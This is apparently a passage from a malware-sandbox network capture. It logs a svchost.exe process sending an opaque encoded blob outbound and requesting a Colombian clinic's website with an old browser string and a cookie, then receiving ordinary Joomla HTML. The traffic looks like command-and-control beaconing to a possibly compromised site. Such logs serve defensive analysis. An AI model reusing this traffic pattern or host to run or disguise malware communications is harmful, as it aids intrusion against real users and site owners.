2023-03-10 06:56:26 UTC	1848	OUT	Data Raw: 75 6d 55 66 34 45 52 4e 55 31 68 65 59 57 56 70 62 48 42 30 64 33 74 2f 67 6f 56 4f 68 50 50 39 78 7a 52 73 72 59 43 67 58 37 6d 33 35 41 2b 39 4e 79 66 38 39 52 4f 57 70 66 41 31 69 6e 4a 2b 49 41 4a 33 55 56 38 46 71 69 34 31 63 58 66 75 77 7a 30 38 42 52 63 48 62 67 6e 43 51 58 31 76 39 31 73 70 46 6b 75 59 50 39 4e 56 6c 78 58 55 32 56 6e 49 39 50 66 70 74 2f 43 65 56 6f 48 38 6f 56 66 50 70 63 30 33 68 41 66 4c 4e 50 68 52 53 67 56 31 4a 6b 4b 32 41 79 44 68 6f 66 2f 49 39 5a 66 59 4b 46 64 73 66 77 36 46 31 74 55 45 53 6c 31 48 4e 43 4d 66 44 64 37 62 66 2f 73 67 53 6c 55 6c 45 50 41 35 78 44 37 78 6f 4b 69 4f 2f 52 43 58 5a 2b 74 6b 59 4f 43 45 32 52 4d 30 55 4d 44 30 78 36 59 55 39 6d 2b 64 6c 41 38 6d 7a 50 33 72 63 52 4c 32 72 63 70 61 4b 4a 66 Data Ascii: umUf4ERNU1heYWVpbHB0d3t/goVOhPP9xzRsrYCgX7m35A+9Nyf89ROWpfA1inJ+IAJ3UV8Fqi41cXfuwz08BRcHbgnCQX1v91spFkuYP9NVlxXU2VnI9Pfpt/CeVoH8oVfPpc03hAfLNPhRSgV1JkK2AyDhof/I9ZfYKFdsfw6F1tUESl1HNCMfDd7bf/sgSlUlEPA5xD7xoKiO/RCXZ+tkYOCE2RM0UMD0x6YU9m+dlA8mzP3rcRL2rcpaKJf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.6	61948	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1853	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
2023-03-10 06:56:27 UTC	1990	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:27 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PpzCw0Ps58lOHMXbsuXM6%2F6b4AY3axqDkz2hR9CRbOwm7vb%2BlB%2FYKMBSkDB45UTcTJhGUj5CFA32hlqd0BMSMDO38Zzw7L%2FMHGNe5iBKNmsephdGEm8CulR8fbrvz9xE4g8%2BazPj6VY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a866cdad6921-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:27 UTC	1991	IN	Data Raw: 37 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7cad<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:27 UTC	1992	IN	Data Raw: 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 6d 70 Data Ascii: s/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/temp
2023-03-10 06:56:27 UTC	1993	IN	Data Raw: 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 73 74 Data Ascii: js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/bootst
2023-03-10 06:56:27 UTC	1994	IN	Data Raw: 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 67 61 Data Ascii: ngines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="ga
2023-03-10 06:56:27 UTC	1996	IN	Data Raw: 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c Data Ascii: size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard "><
2023-03-10 06:56:27 UTC	1997	IN	Data Raw: 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 Data Ascii: tem g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><li
2023-03-10 06:56:27 UTC	1998	IN	Data Raw: 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d Data Ascii: i></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-menu-
2023-03-10 06:56:27 UTC	2000	IN	Data Raw: 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 Data Ascii: "g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu-ite
2023-03-10 06:56:27 UTC	2001	IN	Data Raw: 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 Data Ascii: nu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-grid
2023-03-10 06:56:27 UTC	2002	IN	Data Raw: 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c Data Ascii: iner" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a></l
2023-03-10 06:56:27 UTC	2004	IN	Data Raw: 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 Data Ascii: g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-item
2023-03-10 06:56:27 UTC	2005	IN	Data Raw: 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d Data Ascii: lass="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class="g-m
2023-03-10 06:56:27 UTC	2006	IN	Data Raw: 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 Data Ascii: ass="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-compone
2023-03-10 06:56:27 UTC	2008	IN	Data Raw: 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 61 63 6b 67 Data Ascii: <style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup backg
2023-03-10 06:56:27 UTC	2009	IN	Data Raw: 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 61 66 61 6e Data Ascii: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="gafan
2023-03-10 06:56:27 UTC	2010	IN	Data Raw: 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e Data Ascii: Id(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopener">
2023-03-10 06:56:27 UTC	2012	IN	Data Raw: 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 Data Ascii: k "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-bu
2023-03-10 06:56:27 UTC	2013	IN	Data Raw: 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 